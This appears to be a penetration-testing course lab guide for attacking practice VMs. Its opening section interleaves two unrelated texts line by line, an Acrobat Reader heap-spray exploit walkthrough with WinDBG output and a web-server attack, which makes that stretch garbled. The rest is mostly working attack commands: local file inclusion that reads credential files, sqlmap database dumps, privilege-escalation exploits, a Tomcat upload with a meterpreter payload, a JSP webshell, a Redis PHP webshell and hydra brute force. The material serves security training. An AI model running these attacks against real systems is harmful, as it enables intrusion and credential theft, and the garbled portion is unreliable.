 
-Download these scripts on your Strategicsec-XP-ED-Target-VM VM itself.
+---------------------------Type This-----------------------------------
 sudo nmap -sV 172.31.2.47
 -----------------------------------------------------------------------
-mnp0.pdf
+
 
-- Open up acrobat reader
+
-- WinDBG
+PORT    STATE    SERVICE VERSION
-- F6 attach to AcroRd32.exe
+22/tcp  open     ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
-- g to Go
+80/tcp  open     http    Apache httpd 2.2.22 ((Ubuntu))
 514/tcp filtered shell
-EIP = 41414141
+Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
-Next step is to spray the heap with NOPS+shellcode, and then land EIP in the heap.
+
 
-mnp1.pdf
+Step 3: Vulnerability Scan the webserver
 ----------------------------------------
-All we are doing is changing EIP to 0c0c0c0c.
+
-There is no heap spray in this one.
+
 ---------------------------Type This-----------------------------------
-This exception may be expected and handled.
+cd ~/toolz/
-eax=02e2d638 ebx=23826917 ecx=02e2d638 edx=02e2f868 esi=02c07674 edi=02c07674
+
-eip=0c0c0c0c esp=0013fb38 ebp=0013fbb8 iopl=0         nv up ei pl nz na po nc
+rm -rf nikto*
-cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
+
-0c0c0c0c ??              ???
+git clone https://github.com/sullo/nikto.git Nikto2
 
-We know we get EIP control
+cd Nikto2/program
 
-mnp2.pdf
+perl nikto.pl -h 172.31.2.47
 -----------------------------------------------------------------------
-Put in the heap spray.
+
 
-   var shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
+Step 4: Run dirbuster or similar directory bruteforce tool against the target
 -----------------------------------------------------------------------------
-   var nops = unescape("%u9090%u9090");
+
 
-   while(nops.length <= 32768)
+---------------------------Type This-----------------------------------
-      nops += nops;
+wget https://dl.packetstormsecurity.net/UNIX/cgi-scanners/Webr00t.pl
-   nops = nops.substring(0,32768 - shellcode.length);
+
 perl Webr00t.pl -h 172.31.2.47 -v | grep -v "404 Not Found"
-   memory = new Array();
+-----------------------------------------------------------------------
 
-   for(i = 0; i < 1500; i++) {
+
-      memory[i] = nops + shellcode;
+
 Step 5: Browse the web site to look for clues
 ---------------------------------------------
-1500 NOP+shellcode blocks of 32K NOPs each
+Since no glaring vulnerabilities were found with the scanner - we start just looking around the website itself
 
-We would have sprayed over address 0c0c0c0c, and we hope to hit EIP = 0c0c0c0c, and get INT3.
+
 http://172.31.2.47/test
-We want to see what led to the crash.
+http://172.31.2.47/test.php (got the following error message)
     'file' parameter is empty. Please provide file path in 'file' parameter
-EIP is invalid, so we can't disassemble around EIP
+
 Figured this was a Local File Include (LFI) so I tried:
-We need to trace the function that called us and crashed.
+    http://172.31.2.47/test.php?file=/etc/passwd
-- STACK TRACE
+    http://172.31.2.47/test.php?file=/etc/passwd%00
-- Dumps all the frames from the top of the stack.
+
-- show you the series of calls that led up to the crash.
+None of these worked so I tried it as a POST request with curl (reference: https://pastebin.com/yfBz5H7b)
-- we will analyze the topmost function on the frame.
+---------------------------Type This-----------------------------------
 curl -X POST -F 'file=/etc/passwd' http://172.31.2.47/test.php
-WinDBG - stack trace - "k" command
+-----------------------------------------------------------------------
 
-0:000> k
+
-ChildEBP RetAddr
+
-WARNING: Frame IP not in any known module. Following frames may be wrong.
+http://172.31.2.47/a
-0013fb34 2d843117 0x90909090
+http://172.31.2.47/b
-0013fbb8 23826934 Multimedia!PlugInMain+0x41b69
+http://172.31.2.47/c  (a and b gave 404 errors, but "c" is a blank page, and view source is blank as well - this must be a config file"
-0013fbdc 23825d8c EScript!PlugInMain+0x25584
+
-0013fc74 238257e2 EScript!PlugInMain+0x249dc
+So let's try that POST request with curl to pull down the c.php config file.
-0013fca4 238543c5 EScript!PlugInMain+0x24432
+
-0013fd04 00a78de1 EScript!PlugInMain+0x53015
+---------------------------Type This-----------------------------------
-0013fd20 7e418734 AcroRd32_940000!DllCanUnloadNow+0x67290
+curl -X POST -F 'file=/var/www/html/c.php' http://172.31.2.47/test.php
-0013fd4c 7e418816 USER32!InternalCallWinProc+0x28
+curl -X POST -F 'file=/var/htdocs/c.php' http://172.31.2.47/test.php
-0013fdb4 7e4189cd USER32!UserCallWinProcCheckWow+0x150
+curl -X POST -F 'file=/var/www/c.php' http://172.31.2.47/test.php
-0013fe14 7e418a10 USER32!DispatchMessageWorker+0x306
+-----------------------------------------------------------------------
-0013fe24 00a323b4 USER32!DispatchMessageW+0xf
+
-0013fe94 00a31de8 AcroRd32_940000!DllCanUnloadNow+0x20863
+<?php
-0013fecc 0094389f AcroRd32_940000!DllCanUnloadNow+0x20297
+#header( 'Z-Powered-By:its chutiyapa xD' );
-0013fee4 009436ee AcroRd32_940000!AcroWinMain+0x1c8
+header('X-Frame-Options: SAMEORIGIN');
-0013ff2c 00404004 AcroRd32_940000!AcroWinMain+0x17
+header( 'Server:testing only' );
-0013ffc0 7c817067 AcroRd32+0x4004
+header( 'X-Powered-By:testing only' );
-0013fff0 00000000 kernel32!BaseProcessStart+0x23
+
 ini_set( 'session.cookie_httponly', 1 );
-2d843117 -- the return address that we would have returned to, if we didnt crash.
+
-address 2d843117-2 we will have a CALL instruction.
+$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
 
-u 2d843117
+// Check connection
-u 2d843117-2
+if (mysqli_connect_errno())
-u 2d843117-3 <---- we found the CALL instruction - call [edx+4]
+  {
-u 2d843117-4
+  echo "connection failed ->  " . mysqli_connect_error();
   }
-0:000> u 2d843117-3
+
-Multimedia!PlugInMain+0x41b66:
+?>
-2d843114 ff5204          call    dword ptr [edx+4] <---- the culprit!!!
+
-2d843117 6a00            push    0
+
-2d843119 68d8b68c2d      push    offset Multimedia!PlugInMain+0xca12a (2d8cb6d8)
+
-2d84311e 56              push    esi
+---------------------------Type This-----------------------------------
-2d84311f e842aefdff      call    Multimedia!PlugInMain+0x1c9b8 (2d81df66)
+ssh -l billu 172.31.2.47
-2d843124 83c40c          add     esp,0Ch
+    b0x_billu
-2d843127 66b80100        mov     ax,1
+-----------------------------------------------------------------------
-2d84312b 5e              pop     esi
+
 
-We control EDX
+
-edx=0c0c0c0c
+http://172.31.2.47/phpmyadmin
 http://172.31.2.47/phpMyAdmin
-call [edx+4] = call [0c0c0c10]
+http://172.31.2.47/pma
-dd edx+4
+http://172.31.2.47/phpmy
 
-0:000> dd edx+4
+
-0c0c0c10  90909090 90909090 90909090 90909090
+Then I Googled config file name for phpmyadmin (config.inc.php)
-0c0c0c20  90909090 90909090 90909090 90909090
+
 ---------------------------Type This-----------------------------------
-0:000> u 2d843117-7
+curl -X POST -F 'file=/var/www/phpmy/config.inc.php' http://172.31.2.47/test.php
-Multimedia!PlugInMain+0x41b62:
+-----------------------------------------------------------------------
-2d843110 8b10            mov     edx,dword ptr [eax]
+<?php
-2d843112 8bc8            mov     ecx,eax
+
-2d843114 ff5204          call    dword ptr [edx+4]
+/* Servers configuration */
 $i = 0;
-dd eax
+
 /* Server: localhost [1] */
-0:000> dd eax
+$i++;
-02e2d680  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
+$cfg['Servers'][$i]['verbose'] = 'localhost';
-02e2d690  42424242 42424242 42424242 42424242
+$cfg['Servers'][$i]['host'] = 'localhost';
-02e2d6a0  42424242 42424242 42424242 42424242
+$cfg['Servers'][$i]['port'] = '';
-02e2d6b0  42424242 42424242 42424242 42424242
+$cfg['Servers'][$i]['socket'] = '';
-02e2d6c0  42424242 42424242 00000000 00000000
+$cfg['Servers'][$i]['connect_type'] = 'tcp';
 $cfg['Servers'][$i]['extension'] = 'mysqli';
-mnp3.pdf
+$cfg['Servers'][$i]['auth_type'] = 'cookie';
 $cfg['Servers'][$i]['user'] = 'root';
-change the NOPs 90909090 to 0c0c0c0c
+$cfg['Servers'][$i]['password'] = 'roottoor';
 $cfg['Servers'][$i]['AllowNoPassword'] = true;
-mov edx, [eax]
+
-call [edx+4]
+
 ---------------------------Type This-----------------------------------
-edx = 0c0c0c0c
+ssh -l root 172.31.2.47
-edx+4 = 0c0c0c10
+    roottoor
-contents at edx+4 will also be "0c0c0c0c"
+-----------------------------------------------------------------------
 
-EIP will jump to 0c0c0c0c
+
 
-and...
+
 
-0:000> u 0c0c0c0c
+
-*** WARNING: Unable to verify checksum for C:\Program Files\Adobe\Reader 9.0\Reader\plug_ins\Multimedia.api
+---------------------------------------------------------------------------------------------------------------------------------------------------------
-*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Adobe\Reader 9.0\Reader\plug_ins\Multimedia.api -
+
-0c0c0c0c 0c0c            or      al,0Ch
+Attack steps:
-0c0c0c0e 0c0c            or      al,0Ch
+-------------
-0c0c0c10 0c0c            or      al,0Ch
+
-0c0c0c12 0c0c            or      al,0Ch
+
-0c0c0c14 0c0c            or      al,0Ch
+
 Step 1: Ping sweep the target network
 -------------------------------------
 
 
 ---------------------------Type This-----------------------------------
 nmap -sP 172.31.2.0/24
 -----------------------------------------------------------------------
 
 
 
 - Found 3 hosts
 172.31.2.64
 172.31.2.217
 172.31.2.238
 
 
 
 Step 2: Port scan target system
 -------------------------------
 
 
 ---------------------------Type This-----------------------------------
 nmap -sV 172.31.2.64
 -----------------------------------------------------------------------
 
 
 
 -------------Scan Results--------------------------------------------
 PORT     STATE    SERVICE VERSION
 22/tcp   open     ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
 80/tcp   open     http    Apache httpd 2.4.7 ((Ubuntu))
 514/tcp  filtered shell
 1037/tcp filtered ams
 6667/tcp open     irc     ngircd
 Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel
 --------------------------------------------------------------------
 
 
 Step 3: Vulnerability Scan the webserver
 ----------------------------------------
 
 
 ---------------------------Type This-----------------------------------
 cd ~/toolz/
 
 rm -rf nikto*
 
 git clone https://github.com/sullo/nikto.git Nikto2
 
 cd Nikto2/program
 
 perl nikto.pl -h 172.31.2.64
 -----------------------------------------------------------------------
 
 
 Step 4: Run dirbuster or similar directory bruteforce tool against the target
 -----------------------------------------------------------------------------
 
 
 ---------------------------Type This-----------------------------------
 wget https://dl.packetstormsecurity.net/UNIX/cgi-scanners/Webr00t.pl
 
 perl Webr00t.pl -h 172.31.2.64 -v
 -----------------------------------------------------------------------
 
 
 
 Step 5: Browse the web site to look for clues
 ---------------------------------------------
 Since no glaring vulnerabilities were found with the scanner - we start just looking around the website itself
 
 
 ..... really didn't get much from here so we just opened the web page in a browser
 http://172.31.2.64/
 
 .....browsed to the webpage and saw that it pointed to:
 http://172.31.2.64/jabc
 
 ....clicked on documentation link and found hidden text that pointed to here:
 http://172.31.2.64/jabcd0cs/
 
 ....saw that the app was OpenDocMan v1.2.7 and found it was vulnerable:
 https://www.exploit-db.com/exploits/32075/
 
 Tried the sql injection described in exploit-db:
 http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,version(),3,4,5,6,7,8,9
 
 http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,user(),3,4,5,6,7,8,9
 
 
 
 Tried to run sqlmap against the target
 
 
 ---------------------------Type This-----------------------------------
 cd sqlmap-dev/
 python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -b --dbms=mysql
 
 python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --current-user --dbms=mysql
 
 python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --current-db --dbms=mysql
 
 python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --dbms=mysql
 
 python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --users --passwords --dbms=mysql
 -----------------------------------------------------------------------
 
 
 
 FOUND: cracked password 'toor' for user 'drupal7' (sqlmap)
 FOUND: 9CFBBC772F3F6C106020035386DA5BBBF1249A11 hash is 'toor' verified at crackstation.net
 
 
 
 ---------------------------Type This-----------------------------------
 python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D jabcd0cs --tables --dbms=mysql
 
 python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D jabcd0cs -T odm_user --dump --dbms=mysql
 -----------------------------------------------------------------------
 
     username:   webmin
     hash:       b78aae356709f8c31118ea613980954b
 
 https://hashkiller.co.uk/md5-decrypter.aspx
 
     hash:       b78aae356709f8c31118ea613980954b
     pass:       webmin1980
 
 
 ok - /phpmyadmin and /webmin both did not work in the browser but these credentials worked for SSH.
 
 
 
 ---------------------------Type This-----------------------------------
 ssh -l webmin 172.31.2.64
     webmin1980
 
 id
 
 cat /etc/*release
 -----------------------------------------------------------------------
 
 
 
 ....tired of not having a real command shell...
 
 
 ---------------------------Type This-----------------------------------
 python -c 'import pty;pty.spawn("/bin/bash")'
 
 
 cd /tmp
 
 pwd
 
 
 cat >> exploit.c << out
 
 **************paste in the content from here *****************
 https://www.exploit-db.com/raw/39166/
 
 
 ------ hit enter a few times ------
 
 ------ then type 'out' ----- this closes the file handle...
 
 
 
 ---------------------------Type This-----------------------------------
 gcc -o boom exploit.c
 
 ./boom
 -----------------------------------------------------------------------
 
 
 ------------exploit failed, damn let's try another one ---------
 
 
 
 ---------------------------Type This-----------------------------------
 cat >> exploit2.c << out
 
 **************paste in the content from here *****************
 https://www.exploit-db.com/raw/37292/
 
 
 out
 
 
 gcc -o boom2 exploit2.c
 
 ./boom2
 
 id
 
 
 ......YEAH - do the happy dance!!!!
 
 
 
 
 ---- Previous class attack process -------
 
 
 #########################
 # Building a quick list #
 #########################
 
 ---------------------------Type This-----------------------------------
 
 cd ~
 echo bob >> list.txt
 echo jim >> list.txt
 echo joe >> list.txt
 echo tim >> list.txt
 echo admin >> list.txt
 echo hello >> list.txt
 echo rob >> list.txt
 echo test >> list.txt
 echo aaaaaa >> list.txt
 echo larry >> list.txt
 echo mario >> list.txt
 echo jason >> list.txt
 echo john >> list.txt
 -----------------------------------------------------------------------
 
 
 ###########################################################
 # Let's start with some basic scanning of the lab network #
 ###########################################################
 
 ---------------------------Type This-----------------------------------
 
 infosecaddicts@ubuntu:~$ nmap -sP 172.31.2.0/24
 -----------------------------------------------------------------------
 
 Starting Nmap 7.12 ( https://nmap.org ) at 2017-11-21 13:17 EST
 Nmap scan report for 172.31.2.24
 Host is up (0.046s latency).
 Nmap scan report for 172.31.2.47
 Host is up (0.045s latency).
 Nmap scan report for 172.31.2.64
 Host is up (0.037s latency).
 Nmap scan report for 172.31.2.86
 Host is up (0.040s latency).
 Nmap scan report for 172.31.2.117
 Host is up (0.038s latency).
 Nmap scan report for 172.31.2.139
 Host is up (0.037s latency).
 Nmap scan report for 172.31.2.157
 Host is up (0.036s latency).
 Nmap scan report for 172.31.2.217
 Host is up (0.047s latency).
 Nmap scan report for 172.31.2.238
 Host is up (0.036s latency).
 Nmap done: 256 IP addresses (9 hosts up) scanned in 3.22 seconds
 
 
 
 
 
 
 ---------------------------Type This-----------------------------------
 
 infosecaddicts@ubuntu:~$ sudo nmap -sS 172.31.2.24
 -----------------------------------------------------------------------
 
 [sudo] password for infosecaddicts:
 
 Starting Nmap 7.12 ( https://nmap.org ) at 2017-11-21 13:18 EST
 Nmap scan report for 172.31.2.24
 Host is up (1.8s latency).
 Not shown: 989 closed ports
 PORT     STATE    SERVICE
 25/tcp   open     smtp
 80/tcp   open     http
 111/tcp  open     rpcbind
 139/tcp  open     netbios-ssn
 445/tcp  open     microsoft-ds
 514/tcp  filtered shell
 1322/tcp open     novation
 2049/tcp open     nfs
 8080/tcp open     http-proxy
 8081/tcp open     blackice-icecap
 9000/tcp open     cslistener
 
 Nmap done: 1 IP address (1 host up) scanned in 133.56 seconds
 
 
 
 
 
 
 
 ---------------------------Type This-----------------------------------
 
 infosecaddicts@ubuntu:~$ sudo nmap -sV -p25,80,111,139,445,1322,2049,8080,8081,9000 172.31.2.24
 -----------------------------------------------------------------------
 
 Starting Nmap 7.12 ( https://nmap.org ) at 2017-11-21 13:21 EST
 Nmap scan report for 172.31.2.24
 Host is up (0.031s latency).
 PORT     STATE SERVICE     VERSION
 25/tcp   open  ftp         vsftpd 3.0.2
 80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
 111/tcp  open  rpcbind     2-4 (RPC #100000)
 139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: CANYOUPWNME)
 445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: CANYOUPWNME)
 1322/tcp open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
 2049/tcp open  nfs_acl     2-3 (RPC #100227)
 8080/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
 8081/tcp open  http        Apache httpd 2.4.7 ((Ubuntu))
 9000/tcp open  http        Jetty winstone-2.9
 Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
 
 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 Nmap done: 1 IP address (1 host up) scanned in 15.15 seconds
 
 
 
 
 
 
 
 
 ###########################
 # Day 1: Attacking Kevgir #
 ###########################
 
 
 ******** Attacking Kevgir ********
 I figured I've give you something fun to play with.
 
 
 
 ###############
 # Using Nikto #
 ###############
 
 ---------------------------Type This-----------------------------------
 
 cd ~/toolz/
 
 rm -rf nikto*
 
 git clone https://github.com/sullo/nikto.git Nikto2
 
 cd Nikto2/program
 
 perl nikto.pl -h 172.31.2.24
 
 perl nikto.pl -h 172.31.2.24:8080
 
 perl nikto.pl -h 172.31.2.24:8081
 
 perl nikto.pl -h 172.31.2.24:9000
 
 -----------------------------------------------------------------------
 
 
 
 ####################
 # Using Metasploit #
 ####################
 
 ---------------------------Type This-----------------------------------
 
 cd ~/toolz/metasploit
 
 ./msfconsole
 
 use auxiliary/scanner/http/http_version
 
 set RHOSTS 172.31.2.24
 
 set RPORT 8080
 
 run
 
 
 -------------------------------
 
 use auxiliary/scanner/http/tomcat_enum
 
 set RHOSTS 172.31.2.24
 
 set RPORT 8080
 
 run
 -----------------------------------------------------------------------
 
 
 
 
 
 ####################
 # Attacking Tomcat #
 ####################
 
 ---------------------------Type This-----------------------------------
 
 use auxiliary/scanner/http/http_version
 
 set RHOSTS 172.31.2.24
 
 set RPORT 8080
 
 run
 
 
 -------------------------------
 
 
 use auxiliary/scanner/http/tomcat_mgr_login
 
 set USERNAME tomcat
 
 set USERPASS_FILE /home/infosecaddicts/list.txt
 
 set STOP_ON_SUCCESS true
 
 set RHOSTS 172.31.2.24
 
 set RPORT 8080
 
 run
 
 
 -------------------------------
 
 use exploit/multi/http/tomcat_mgr_upload
 
 set HttpUsername tomcat
 
 set HttpPassword tomcat
 
 set RHOST 172.31.2.24
 
 set RPORT 8080
 
 set PATH /manager/html
 
 set PAYLOAD java/meterpreter/bind_tcp
 
 exploit
 
 
 run post/linux/gather/checkvm
 
 run post/linux/gather/enum_configs
 
 run post/linux/gather/enum_protections
 
 run post/linux/gather/enum_system
 
 run post/linux/gather/enum_users_history
 
 run post/linux/gather/hashdump
 
 shell
 
 /bin/bash
 
 id
 
 uname -a
 
 dpkg -l
 
 cd /tmp
 
 pwd
 
 
 cat >> exploit.c << out
 
 **************paste in the content from here *****************
 https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms/linux/local/39166.c
 
 
 ------ hit enter a few times ------
 
 ------ then type 'out' ----- this closes the file handle...
 
 
 gcc -o boom exploit.c
 
 ./boom
 
 id
 
 
 -----------------------------------------------------------------------
 
 ---------------------------Type This-----------------------------------
 
 hydra -l tomcat -P /home/infosecaddicts/list.txt -e ns -s 8080 -vV 172.31.2.24 http-get /manager/html
 -----------------------------------------------------------------------
 
 
 
 
 
 -------------------------------------------index.jsp-------------------------------------------
 <FORM METHOD=GET ACTION='index.jsp'>
 <INPUT name='cmd' type=text>
 <INPUT type=submit value='Run'>
 </FORM>
 <%@ page import="java.io.*" %>
 <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null) {
       String s = null;
       try {
          Process p = Runtime.getRuntime().exec(cmd,null,null);
          BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
          while((s = sI.readLine()) != null) { output += s+"</br>"; }
       }  catch(IOException e) {   e.printStackTrace();   }
    }
 %>
 <pre><%=output %></pre>
 -------------------------------------------index.jsp-------------------------------------------
 
 ***** now pack the webshell *****
 
 
 ---------------------------Type This-----------------------------------
 
 mkdir webshell
 cp index.jsp webshell
 
 cd webshell
 jar -cvf ../webshell.war *
 -----------------------------------------------------------------------
 
 
 Deploy the WAR file using the built-in deploy option on the manager web-page.
 Once the WAR file is deployed I simply browse to the URL I deployed the WAR file
 now upload the webshell.war. After uploading, visit page: http://172.31.2.2:8080/webshell/
 
 
 
 ****** This section isn't finished ******
 
  ---------------------------Type This-----------------------------------
 
 cd ~/toolz/metasploit
 
 ./msfvenom -p linux/x86/shell_bind_tcp LPORT="7777" -f war > /home/infosecaddicts/bind7777.war
 
 jar tf ~/bind7777.war
 -----------------------------------------------------------------------
 
 ****** This section isn't finished ******
 
 Google is your friend hahahahahahahah........
 
 
 #################
 # Attacking FTP #
 #################
 
 ---------------------------Type This-----------------------------------
 
 sudo nmap -sV -Pn -p25 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 172.31.2.24
 
 cd ~/toolz/hydra
 
 hydra -l admin -P /home/infosecaddicts/list.txt -u -s 25 172.31.2.24 ftp
 
 ftp
 open 172.31.2.24
 admin
 admin
 pwd
 ls -lah
 
 ls ../../
 -----------------------------------------------------------------------
 
 
 #################
 # Attacking SSH #
 #################
 
 ---------------------------Type This-----------------------------------
 
 sudo apt-get install -y libssh-dev
      infosecaddicts
 cd ~/toolz/hydra
 make clean
 ./configure
 make
 sudo make install
 
 
 hydra -L /home/infosecaddicts/list.txt -P /home/infosecaddicts/list.txt -u -s 1322 172.31.2.24 ssh
 
 ssh -p 1322 admin@172.31.2.24
 
 
 -------------------------------
 
 cd ~/toolz/metasploit
 
 ./msfconsole
 
 use auxiliary/scanner/ssh/ssh_enumusers
 
 set USER_FILE /home/infosecaddicts/list.txt
 
 set STOP_ON_SUCCESS true
 
 set RHOSTS 172.31.2.24
 
 set RPORT 1322
 
 run
 
 
 
 
 
 use auxiliary/scanner/ssh/ssh_login
 
 set USER_FILE /home/infosecaddicts/list.txt
 
 set PASS_FILE /home/infosecaddicts/list.txt
 
 set STOP_ON_SUCCESS true
 
 set RHOSTS 172.31.2.24
 
 set RPORT 1322
 
 run
 
 
 sessions -l
 
 sessions -u 1
 
 sessions -i 1
 
 id
 
 -----------------------------------------------------------------------
 
 
 ########################
 # Attacking phpMyAdmin #
 ########################
 ****** This section isn't finished ******
 
 ---------------------------Type This-----------------------------------
 
 hydra -l root -P /home/infosecaddicts/list.txt -e n http-post-form://172.31.2.24 -m "/phpMyAdmin/index.php:pma_username=^USER^&pma_password=^PASS^&server=1:S=information_schema"
 -----------------------------------------------------------------------
 
 ****** This section isn't finished ******
 
 Google is your friend hahahahahahahah........
 
 
 
 ---------------------------Type This-----------------------------------
 
 wget https://repo.palkeo.com/repositories/mysterie.fr/prog/darkc0de/others/pmabf.py
 
 python pmabf.py http://172.31.2.24 root list.txt        (this gave me the WRONG password)
 -----------------------------------------------------------------------
 
 
 
 
 
 
 ####################
 # Attacking Joomla #
 ####################
 
 ---------------------------Type This-----------------------------------
 
 cd ~/toolz/metasploit
 
 ./msfconsole
 
 use use auxiliary/scanner/http/joomla_plugins
 
 set RHOSTS 172.31.2.24
 
 set RPORT 8080
 
 run
 -----------------------------------------------------------------------
 
 
 ****** This section isn't finished ******
 Google is your friend hahahahahahahah........
 
 #####################
 # Attacking Jenkins #
 #####################
 
 
 ****** This section isn't finished ******
 Google is your friend hahahahahahahah........
 
 #################
 # Attacking NFS #
 #################
 
 ---------------------------Type This-----------------------------------
 
 sudo apt install -y rpcbind nfs-common
 
 rpcinfo -s 172.31.2.24
 
 showmount -e 172.31.2.24
 
 sudo /bin/bash
 
 mkdir /tmp/nfs
 
 mount -t nfs 172.31.2.24:/backup /tmp/nfs -o nolock
 
 ls /tmp/nfs
 
 cp /tmp/nfs/backup.tar.bz2.zip /home/infosecaddicts
 
 umount -l /tmp/nfs
 
 exit
 
 sudo apt-cache search fcrackzip
 
 sudo apt-get install -y fcrackzip
 
 fcrackzip -u backup.tar.bz2.zip
 
 unzip -P aaaaaa backup.tar.bz2.zip
 
 tar jxf backup.tar.bz2
 -----------------------------------------------------------------------
 
 
 ###################
 # Attacking Redis #
 ###################
 
 ---------------------------Type This-----------------------------------
 
 sudo nmap -p 6379 --script=redis-info 172.31.2.24
     infosecaddicts
 
 sudo apt-get install -y redis-tools
     infosecaddicts
 
 redis-cli -h 172.31.2.24
 
 CONFIG SET dir /var/www/html/main
 
 CONFIG GET dir
 
 config set dbfilename boom.php
 
 CONFIG GET dbfilename
 
 SET cmd "<?php system($_GET['joe']); ?>"
 
 BGSAVE
 
 http://172.31.2.24/boom.php
 
 http://172.31.2.24/boom.php?joe=id
 
 
 (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt/.ssh"
 
 
 
 ****** This section isn't finished ******
 Google is your friend hahahahahahahah........
 
 cd ~/toolz/metasploit
 
 ./msfconsole
 
 use auxiliary/scanner/redis/file_upload
 
 set RHOSTS 172.31.2.24
 
 set LocalFile
 
 ****** This section isn't finished ******
 Google is your friend hahahahahahahah........
 
 
 
 
 
 sudo nmap -sV -p 3260 172.31.2.217
 
 
 sudo apt install open-iscsi
 
 sudo iscsiadm -m discovery -t  st -p 172.31.2.217
 
 sudo iscsiadm -m discovery -t  st -p 172.31.2.217:3260
 
 sudo iscsiadm -m node -p 172.31.2.217 --login
 
 sudo /bin/bash
 
 fdisk -l
     ***** look for /dev/sda5 - Linux swap / Solaris *******
 
 mkdir /mnt/217vm
 
 mount /dev/sdb /mnt/217vm
 
 cd /mnt/217vm
 
 ls
 
 cat flag1.txt
 
 file bobsdisk.dsk
 
 mkdir /media/bobsdisk
 
 mount /mnt/217vm/bobsdisk.dsk /media/bobsdisk
 
 /mnt/217vm# ls
 
 cd /media/bobsdisk/
 
 ls
 
 cat ToAlice.eml
 
 file bobsdisk.dsk
 
 mkdir /media/bobsdisk
 
 mount /mnt/217vm/bobsdisk.dsk /media/bobsdisk
 
 /mnt/217vm# ls
 
 cd /media/bobsdisk/
 
 ls
 
 cat ToAlice.eml
 
 file ToAlice.csv.enc
 
 file bobsdisk.dsk
 
 pwd
 
 mkdir /media/bobsdisk
 
 
 mount /mnt/217vm/bobsdisk.dsk /media/bobsdisk
 
 ls
 
 cd /media/bobsdisk/
 
 ls
 
 openssl enc -aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out ToAlice.csv
 
 ls
 
 cat ToAlice.eml | grep flag
 
 openssl enc -aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out ToAlice.csv
 
 ls
 
 cat ToAlice.eml
     ***** look for supercalifragilisticoespialidoso ******
 
 openssl enc -aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out ToAlice.csv
 
     supercalifragilisticoespialidoso
 
 
 ls
 
 cat ToAlice.csv
 -----------------------------------------------------------------------
 
 -----------------------------------------------------
 Web Path,Reason
 5560a1468022758dba5e92ac8f2353c0,Black hoodie. Definitely a hacker site!
 c2444910794e037ebd8aaf257178c90b,Nice clean well prepped site. Nothing of interest here.
 flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I've seen? What is it?
 
 -----------------------------------------------------
 
 The hints are "Web Path" and "strangest URL" so let's try the long strings in the URL:
 http://172.31.2.217/5560a1468022758dba5e92ac8f2353c0/
   -- view source
 
 Found this string in the source:
 R2VvcmdlIENvc3RhbnphOiBbU291cCBOYXppIGdpdmVzIGhpbSBhIGxvb2tdIE1lZGl1bSB0dXJr
 ZXkgY2hpbGkuIApbaW5zdGFudGx5IG1vdmVzIHRvIHRoZSBjYXNoaWVyXSAKSmVycnkgU2VpbmZl
 bGQ6IE1lZGl1bSBjcmFiIGJpc3F1ZS4gCkdlb3JnZSBDb3N0YW56YTogW2xvb2tzIGluIGhpcyBi
 YWcgYW5kIG5vdGljZXMgbm8gYnJlYWQgaW4gaXRdIEkgZGlkbid0IGdldCBhbnkgYnJlYWQuIApK
 ZXJyeSBTZWluZmVsZDogSnVzdCBmb3JnZXQgaXQuIExldCBpdCBnby4gCkdlb3JnZSBDb3N0YW56
 YTogVW0sIGV4Y3VzZSBtZSwgSSAtIEkgdGhpbmsgeW91IGZvcmdvdCBteSBicmVhZC4gClNvdXAg
 TmF6aTogQnJlYWQsICQyIGV4dHJhLiAKR2VvcmdlIENvc3RhbnphOiAkMj8gQnV0IGV2ZXJ5b25l
 IGluIGZyb250IG9mIG1lIGdvdCBmcmVlIGJyZWFkLiAKU291cCBOYXppOiBZb3Ugd2FudCBicmVh
 ZD8gCkdlb3JnZSBDb3N0YW56YTogWWVzLCBwbGVhc2UuIApTb3VwIE5hemk6ICQzISAKR2Vvcmdl
 IENvc3RhbnphOiBXaGF0PyAKU291cCBOYXppOiBOTyBGTEFHIEZPUiBZT1UK
 
 ------ https://www.base64decode.org/ -------
 ------ Decoded, but didn't find a flag -----
 
 
 http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/
   -- view source --
   -- Nothing in source --
 
 Browsed to the flag link:
